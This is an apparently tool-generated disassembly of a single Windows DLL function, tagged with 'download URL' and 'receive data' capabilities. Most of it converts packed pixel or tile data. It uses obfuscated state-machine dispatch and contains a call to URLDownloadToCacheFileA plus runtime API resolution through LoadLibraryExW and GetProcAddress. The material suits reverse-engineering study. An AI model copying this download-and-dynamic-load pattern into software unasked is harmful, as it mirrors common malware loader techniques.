Function at 0x1800a1640
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
mov rbx, rcx
mov r10, r9
mov ecx, dword [rsp + 0x218]
mov r9, r8
imul eax, ecx, 0x8d9
mov r11, rdx
mov r14d, ecx
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x74], eax
cmp ecx, eax
ja 0x1800a1eac
mov rsi, qword [rsp + 0x1f8]
movzx r15d, word [rsp + 0x218]
mov ebp, dword [rsp + 0x218]
movzx r12d, word [rsp + 0x218]
movzx edi, word [rsp + 0x218]
xor r8d, r8d
lea rdx, [0x180000000]
cmp r14d, 0xa478
ja 0x1800a180c
je 0x1800a17fc
cmp r14d, 0x11c
ja 0x1800a1787
je 0x1800a1772
mov eax, r14d
sub eax, 0x6a
je 0x1800a171a
sub eax, 0x51
je 0x1800a1e4d
cmp eax, 0x5a
jne 0x1800a1e23
mov rax, qword [rsp + 0x200]
movzx eax, word [rax + 0x1e]
mov dword [rsp + 0x50], eax
jmp 0x1800a1e23
mov r13, qword [rsp + 0x200]
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x78], r8
mov rax, qword [rax]
add rax, qword [r13 + 8]
cmp qword [r13 + 0x10], rax
jae 0x1800a1e1c
add rax, 5
lea rcx, [rsp + 0x60]
mov r8d, 0x7a
mov qword [rsp + 0x60], rax
mov rdx, r13
call fcn.1800a3800
cmp eax, 1
je 0x1800a1e14
mov dword [rsp + 0x58], 0
jmp 0x1800a1eac
mov rax, qword [rsp + 0x200]
movzx ecx, word [rax + 0x1e]
mov dword [rsp + 0x68], ecx
jmp 0x1800a1e1c
cmp r14d, 0x3ef0
je 0x1800a17d5
cmp r14d, 0x7d76
jne 0x1800a1e23
mov r13, qword [rsp + 0x200]
mov rdx, qword [rsp + 0x208]
mov dword [rsp + 0x70], 0x104
mov dword [rsp + 0x6c], r8d
mov rcx, qword [r13 + 8]
mov rax, qword [rdx]
add rcx, qword [r13]
mov byte [rcx + rax], 0
mov rax, qword [rdx]
add qword [r13 + 8], rax
jmp 0x1800a1e1c
mov rax, qword [rsp + 0x200]
mov rdx, rsi
mov rcx, qword [rax + 8]
add rcx, qword [rax]
mov rax, qword [rsp + 0x208]
mov r8, qword [rax]
call fcn.1800b16b0
jmp 0x1800a1e14
mov eax, dword [r11]
imul eax, dword [rsp + 0x50]
mov dword [r11], eax
jmp 0x1800a1e23
cmp r14d, 0xbbfc
je 0x1800a1de6
cmp r14d, 0xfa82
je 0x1800a1eac
cmp r14d, 0x1444e
je 0x1800a1e6e
cmp r14d, 0x147db
je 0x1800a1b1d
cmp r14d, 0x15024
jne 0x1800a1e23
mov ecx, dword [rsp + 0x68]
cmp ecx, 3
jne 0x1800a1a51
mov eax, dword [r10]
test eax, eax
je 0x1800a1a47
nop word [rax + rax]
dec eax
mov r13d, 0x3a
mov dword [r10], eax
nop dword [rax + rax]
cmp r13d, 0x3a
je 0x1800a18ae
cmp r13d, 0xc5
jne 0x1800a1a1b
mov eax, dword [r9]
lea ecx, [rax + rax*2]
lea eax, [rcx*4 + 7]
shr eax, 3
add eax, dword [r11]
add rbx, rax
jmp 0x1800a1a1b
mov r14d, dword [r9]
mov r11, rbx
test r14d, r14d
jle 0x1800a1a04
nop dword [rax]
mov r10d, 0xfe
mov eax, r10d
sub eax, 0xfc
je 0x1800a194f
sub eax, 1
je 0x1800a18f1
cmp eax, 1
jne 0x1800a19df
mov ebp, dword [r11]
add r11, 3
movzx edi, bp
and di, 0xf
jmp 0x1800a19df
movzx ecx, di
mov r15d, ebp
shr r15d, 4
mov r12d, ebp
and r15w, 0xf
shr r12d, 0xc
movzx eax, r15w
and r12w, 0xf
mov r8d, eax
movzx edx, r12w
or r8d, 0xff0
shl r8d, 4
or r8d, eax
mov eax, ecx
shl r8d, 8
shl eax, 4
or r8d, eax
mov eax, edx
or r8d, ecx
shl eax, 4
shl r8d, 8
or r8d, eax
or r8d, edx
mov dword [rsi], r8d
add rsi, 4
jmp 0x1800a19df
cmp r14d, 1
jbe 0x1800a19df
mov r9d, 0x10d
nop
mov eax, r9d
sub eax, 0x10d
je 0x1800a19b2
cmp eax, 1
jne 0x1800a19d3
movzx eax, r15w
mov r8d, eax
movzx ecx, di
or r8d, 0xff0
movzx edx, r12w
shl r8d, 4
or r8d, eax
mov eax, ecx
shl r8d, 8
shl eax, 4
or r8d, eax
mov eax, edx
or r8d, ecx
shl eax, 4
shl r8d, 8
or r8d, eax
or r8d, edx
mov dword [rsi], r8d
add rsi, 4
jmp 0x1800a19d3
mov r15d, ebp
mov r12d, ebp
shr r15d, 8
mov edi, ebp
shr r12d, 0x10
and r15w, 0xf
and r12w, 0xf
shr edi, 0x14
and di, 0xf
inc r9d
cmp r9d, 0x10f
jb 0x1800a1960
dec r10d
cmp r10d, 0xfb
ja 0x1800a18c6
sub r14d, 2
test r14d, r14d
jg 0x1800a18c0
mov r9, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1f0]
mov r11, qword [rsp + 0x1d8]
movsxd rax, dword [rax]
lea rsi, [rsi + rax*4]
add r13d, 0x8b
cmp r13d, 0x150
jb 0x1800a1880
mov r10, qword [rsp + 0x1e8]
mov eax, dword [r10]
test eax, eax
jne 0x1800a1870
mov r14d, dword [rsp + 0x60]
dec eax
mov dword [r10], eax
jmp 0x1800a1e1c
cmp ecx, 4
jne 0x1800a1e1c
mov ecx, dword [r10]
test ecx, ecx
je 0x1800a1b12
nop word [rax + rax]
dec ecx
mov dword [r10], ecx
mov r8d, dword [r9]
test r8d, r8d
js 0x1800a1af5
nop dword [rax]
mov edx, 0x3d
cmp edx, 0x3d
je 0x1800a1ac9
cmp edx, 0xc4
je 0x1800a1abd
cmp edx, 0x14b
jne 0x1800a1ade
movzx eax, di
movzx ecx, r15w
or ecx, 0xfffffff0
shl ecx, 8
or ecx, eax
movzx eax, r12w
shl eax, 4
shl ecx, 0xc
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
jmp 0x1800a1ade
movzx eax, byte [rbx]
shr al, 4
movzx r15d, al
jmp 0x1800a1adb
movzx ecx, byte [rbx]
movzx eax, cl
and al, 0xf
shr cl, 4
movzx r12d, cl
movzx edi, al
inc rbx
add edx, 0x87
cmp edx, 0x1d2
jb 0x1800a1a85
sub r8d, 1
jns 0x1800a1a80
mov ecx, dword [r10]
mov rax, qword [rsp + 0x1f0]
movsxd rax, dword [rax]
lea rsi, [rsi + rax*4]
movsxd rax, dword [r11]
add rbx, rax
test ecx, ecx
jne 0x1800a1a70
lea eax, [rcx - 1]
mov dword [r10], eax
jmp 0x1800a1e1c
mov eax, dword [r10]
test eax, eax
je 0x1800a1ddf
movsxd r8, dword [rsp + 0x50]
nop dword [rax]
dec eax
mov dword [r10], eax
mov r9d, dword [r9]
cmp r9d, 8
jb 0x1800a1bd8
mov r10d, r9d
shr r10, 3
nop dword [rax]
mov edx, 0x13
nop word [rax + rax]
cmp edx, 0xe3
ja 0x1800a1c4c
je 0x1800a1c97
mov eax, edx
sub eax, 0x13
je 0x1800a1bff
sub eax, 0x34
je 0x1800a1bfa
sub eax, 0x34
je 0x1800a1c97
cmp eax, 0x34
jne 0x1800a1bb4
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add edx, 0x34
cmp edx, 0x1e7
jb 0x1800a1b60
add r9d, 0xfffffff8
sub r10, 1
jne 0x1800a1b50
mov r10, qword [rsp + 0x1e8]
lea rdx, [0x180000000]
test r9d, r9d
je case.default.0x1800a1bf8
lea eax, [r9 - 1]
cmp eax, 6
ja case.default.0x1800a1bf8
mov ecx, dword [rdx + rax*4 + 0xa1ecc]
add rcx, rdx
jmp rcx
add rbx, r8
jmp 0x1800a1b90
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
add rbx, r8
or ecx, eax
mov dword [rsi], ecx
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi + 4], ecx
add rsi, 8
jmp 0x1800a1bb4
mov eax, edx
sub eax, 0x117
je 0x1800a1b90
sub eax, 0x34
je 0x1800a1c70
sub eax, 0x34
je 0x1800a1b90
cmp eax, 0x34
jne 0x1800a1bb4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
jmp 0x1800a1bb4
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
movzx eax, byte [rbx + 2]
movzx ecx, byte [rbx + 3]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [rbx]
shl ecx, 8
or ecx, eax
mov dword [rsi], ecx
add rsi, 4
add rbx, r8
mov rax, qword [rsp + 0x1f0]
mov r9, qword [rsp + 0x1e0]
movsxd rax, dword [rax]
lea rsi, [rsi + rax*4]
movsxd rax, dword [r11]
add rbx, rax
mov eax, dword [r10]
test eax, eax
jne 0x1800a1b30
mov ecx, dword [rsp + 0x218]
dec eax
mov dword [r10], eax
jmp 0x1800a1e23
mov eax, dword [rsp + 0x6c]
xor edx, edx
mov r9d, dword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
mov qword [rsp + 0x28], r8
lea r8, [rsp + 0x80]
mov dword [rsp + 0x20], eax
call sub.urlmon.dll_URLDownloadToCacheFileA
mov dword [rsp + 0x58], 1
mov r10, qword [rsp + 0x1e8]
mov ecx, dword [rsp + 0x218]
imul eax, ecx, 0x97
add r14d, eax
mov dword [rsp + 0x60], r14d
cmp r14d, dword [rsp + 0x74]
ja 0x1800a1eac
mov r9, qword [rsp + 0x1e0]
mov r11, qword [rsp + 0x1d8]
jmp 0x1800a16bb
mov rcx, qword [rsp + 0x200]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rcx, rax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x1800a1eb1
mov r9, qword [rsp + 0x200]
lea rcx, str.tile
mov qword [rsp + 0x48], r8
mov edx, 0xff
mov qword [rsp + 0x40], r8
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x28], r8
mov qword [rsp + 0x20], r8
xor r8d, r8d
call fcn.180055c40
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x190
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret